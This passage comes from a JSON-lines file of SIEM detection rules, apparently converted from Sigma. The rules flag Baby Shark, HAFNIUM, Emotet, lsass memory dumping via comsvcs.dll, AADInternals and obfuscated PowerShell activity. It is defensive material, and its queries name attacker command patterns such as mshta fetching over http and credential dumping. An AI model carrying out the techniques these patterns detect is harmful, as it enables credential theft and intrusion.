AND process.command_line.text:*\\\\inetpub\\\\wwwroot*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects activity that could be related to Baby Shark malware", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "05f5c141-44ac-9d97-0e80-eb9f7a5b49a6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Baby Shark Activity", "query": "process.command_line:(\"reg\\ query\\ \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Default\\\"\" OR powershell.exe\\ mshta.exe\\ http* OR \"cmd.exe\\ \\/c\\ taskkill\\ \\/im\\ cmd.exe\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1012", "T1059", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1df659f5-c689-fc81-2413-9870a163ba4c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange PowerShell Snap-Ins Used by HAFNIUM", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*add\\-pssnapin\\ microsoft.exchange.powershell.snapin*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1114"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1114", "name": "Email Collection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye"], "license": ""}
{"description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1df659f5-c689-fc81-2413-9870a163ba4c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange PowerShell Snap-Ins Used by HAFNIUM", "query": "(process.executable:*\\\\powershell.exe AND process.command_line:*add\\-pssnapin\\ microsoft.exchange.powershell.snapin*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1114"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1114", "name": "Email Collection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye"], "license": ""}
{"description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", "enabled": false, "false_positives": ["Legitimate add-ins"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e02b148-b406-512e-727f-32a258c6dcef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Office Add-In Loading", "query": "(((file.path:*\\\\Microsoft\\\\Word\\\\Startup\\\\* AND file.path:*.wll) OR (file.path:*\\\\Microsoft\\\\Excel\\\\Startup\\\\* AND file.path:*.xll)) OR (file.path:*\\\\Microsoft\\\\Addins\\\\* AND file.path:(*.xlam OR *.xla)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "author": ["Austin Songer (@austinsonger)", "Nasreddine Bencherchali (update)"], "enabled": false, "false_positives": ["Legitimate use of the library for administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "90b9597f-3611-0290-4d88-98fb8d560944", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AADInternals PowerShell Cmdlets Execution - PsScript", "query": "powershell.file.script_block_text:(*Add\\-AADInt* OR *ConvertTo\\-AADInt* OR *Disable\\-AADInt* OR *Enable\\-AADInt* OR *Export\\-AADInt* OR *Get\\-AADInt* OR *Grant\\-AADInt* OR *Install\\-AADInt* OR *Invoke\\-AADInt* OR *Join\\-AADInt* OR *New\\-AADInt* OR *Open\\-AADInt* OR *Read\\-AADInt* OR *Register\\-AADInt* OR *Remove\\-AADInt* OR *Restore\\-AADInt* OR *Search\\-AADInt* OR *Send\\-AADInt* OR *Set\\-AADInt* OR *Start\\-AADInt* OR *Update\\-AADInt*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "author": ["Austin Songer (@austinsonger)", "Nasreddine Bencherchali (update)"], "enabled": false, "false_positives": ["Legitimate use of the library for administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0dffb75-092f-51b5-4c86-58eea1feae13", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AADInternals PowerShell Cmdlets Execution - ProccessCreation", "query": "(((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.Exe\" OR \"pwsh.dll\"))) AND process.command_line.text:(*Add\\-AADInt* OR *ConvertTo\\-AADInt* OR *Disable\\-AADInt* OR *Enable\\-AADInt* OR *Export\\-AADInt* OR *Get\\-AADInt* OR *Grant\\-AADInt* OR *Install\\-AADInt* OR *Invoke\\-AADInt* OR *Join\\-AADInt* OR *New\\-AADInt* OR *Open\\-AADInt* OR *Read\\-AADInt* OR *Register\\-AADInt* OR *Remove\\-AADInt* OR *Restore\\-AADInt* OR *Search\\-AADInt* OR *Send\\-AADInt* OR *Set\\-AADInt* OR *Start\\-AADInt* OR *Update\\-AADInt*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9921ccb1-446e-1743-52a6-f87119235d88", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MacOS Emond Launch Daemon", "query": "((file.path:*\\/etc\\/emond.d\\/rules\\/* AND file.path:*.plist) OR file.path:*\\/private\\/var\\/db\\/emondClients\\/*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b38da7d-28bb-c3d1-d345-b7570d7b64b3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Lsass Memory Dump via Comsvcs DLL", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\rundll32.exe\" AND winlog.event_data.CallTrace:*comsvcs.dll*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6c6f8957-a205-c070-1c3c-9177188d646c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Hidden Files and Directories", "query": "((type:\"EXECVE\" AND a0:(\"mkdir\" OR \"touch\" OR \"vim\" OR \"nano\" OR \"vi\")) AND (a1:*\\/.* OR a1:.* OR a2:*\\/.* OR a2:.*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.", "enabled": false, "false_positives": ["Legitimate use of screenshot utility"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "37d902c4-1e99-0e2c-952a-c8f7a29638aa", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Screen Capture with Import Tool", "query": "((type:\"EXECVE\" AND a0:\"import\") AND ((a1:\"\\-window\" AND a2:\"root\" AND a3:(*.png OR *.jpg OR *.jpeg)) OR a1:(*.png OR *.jpg OR *.jpeg)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", "author": ["Pawel Mazur"], "enabled": false, "false_positives": ["Legitimate use of screenshot utility"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "eada08e3-22d7-f9d4-6000-2d1c2c8af295", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Screen Capture with Xwd", "query": "((type:\"EXECVE\" AND a0:\"xwd\") AND (((a1:\"-root\" AND a2:\"-out\" AND a3:*.xwd)) OR ((a1:\"-out\" AND a2:*.xwd))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects all actions taken by Windows Defender malware detection engines", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a18a04b-13a6-baaf-392f-efe66b1462d2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Threat Detected", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:(\"1006\" OR \"1116\" OR \"1015\" OR \"1117\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd"], "license": ""}
{"description": "Detects all Emotet like process executions that are not covered by the more generic rules", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f37a84d0-d59a-a3ee-089f-b28aa65937d1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Emotet Process Creation", "query": "(process.command_line.text:(*\\ \\-e*\\ PAA* OR *JABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQ* OR *QAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUA* OR *kAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlA* OR *IgAoACcAKgAnACkAOwAkA* OR *IAKAAnACoAJwApADsAJA* OR *iACgAJwAqACcAKQA7ACQA* OR *JABGAGwAeAByAGgAYwBmAGQ* OR *PQAkAGUAbgB2ADoAdABlAG0AcAArACgA* OR *0AJABlAG4AdgA6AHQAZQBtAHAAKwAoA* OR *9ACQAZQBuAHYAOgB0AGUAbQBwACsAKA*) AND (NOT (process.command_line.text:(*fAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQ* OR *wAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA* OR *8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlA*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", "author": ["Daniel Bohannon (@Mandiant/@FireEye)", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a04164e3-9fe0-2511-bd8b-9cb244e79036", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module", "query": "(((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/H/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/m/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/{/ OR powershell.command.invocation_details:/1/ OR powershell.command.invocation_details:/,/ OR powershell.command.invocation_details:/3/ OR powershell.command.invocation_details:/}/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/]/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/+/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/H/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/m/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/H/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/m/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/{/ OR winlog.event_data.Payload:/1/ OR winlog.event_data.Payload:/,/ OR winlog.event_data.Payload:/3/ OR winlog.event_data.Payload:/}/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/]/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/+/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/H/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/m/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/h/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/I/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/{/ OR powershell.command.invocation_details:/1/ OR powershell.command.invocation_details:/,/ OR powershell.command.invocation_details:/3/ OR powershell.command.invocation_details:/}/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/]/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/+/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/h/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/I/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/h/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/I/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/{/ OR winlog.event_data.Payload:/1/ OR winlog.event_data.Payload:/,/ OR winlog.event_data.Payload:/3/ OR winlog.event_data.Payload:/}/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/]/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/+/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/h/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/I/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/v/ OR powershell.command.invocation_details:/:/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/u/ OR powershell.command.invocation_details:/b/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/i/ OR powershell.command.invocation_details:/c/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/{/ OR powershell.command.invocation_details:/1/ OR powershell.command.invocation_details:/,/ OR powershell.command.invocation_details:/3/ OR powershell.command.invocation_details:/}/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/]/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/+/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/v/ OR powershell.command.invocation_details:/:/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/u/ OR powershell.command.invocation_details:/b/ OR powershell.command.invocation_details:/l/ OR powershell.command.invocation_details:/i/ OR powershell.command.invocation_details:/c/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/v/ OR winlog.event_data.Payload:/:/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/u/ OR winlog.event_data.Payload:/b/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/i/ OR winlog.event_data.Payload:/c/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/{/ OR winlog.event_data.Payload:/1/ OR winlog.event_data.Payload:/,/ OR winlog.event_data.Payload:/3/ OR winlog.event_data.Payload:/}/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/]/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/+/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/v/ OR winlog.event_data.Payload:/:/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/u/ OR winlog.event_data.Payload:/b/ OR winlog.event_data.Payload:/l/ OR winlog.event_data.Payload:/i/ OR winlog.event_data.Payload:/c/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/v/ OR powershell.command.invocation_details:/:/ OR powershell.command.invocation_details:/C/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/m/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/p/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/c/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/ OR powershell.command.invocation_details:/(/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/{/ OR powershell.command.invocation_details:/1/ OR powershell.command.invocation_details:/,/ OR powershell.command.invocation_details:/3/ OR powershell.command.invocation_details:/}/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/,/ OR powershell.command.invocation_details:/)/ OR powershell.command.invocation_details:/{/ OR powershell.command.invocation_details:/2/ OR powershell.command.invocation_details:/}/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/v/ OR winlog.event_data.Payload:/:/ OR winlog.event_data.Payload:/C/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/m/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/p/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/c/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/ OR winlog.event_data.Payload:/(/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/{/ OR winlog.event_data.Payload:/1/ OR winlog.event_data.Payload:/,/ OR winlog.event_data.Payload:/3/ OR winlog.event_data.Payload:/}/ OR winlog.event_data.Payload:/\\/ 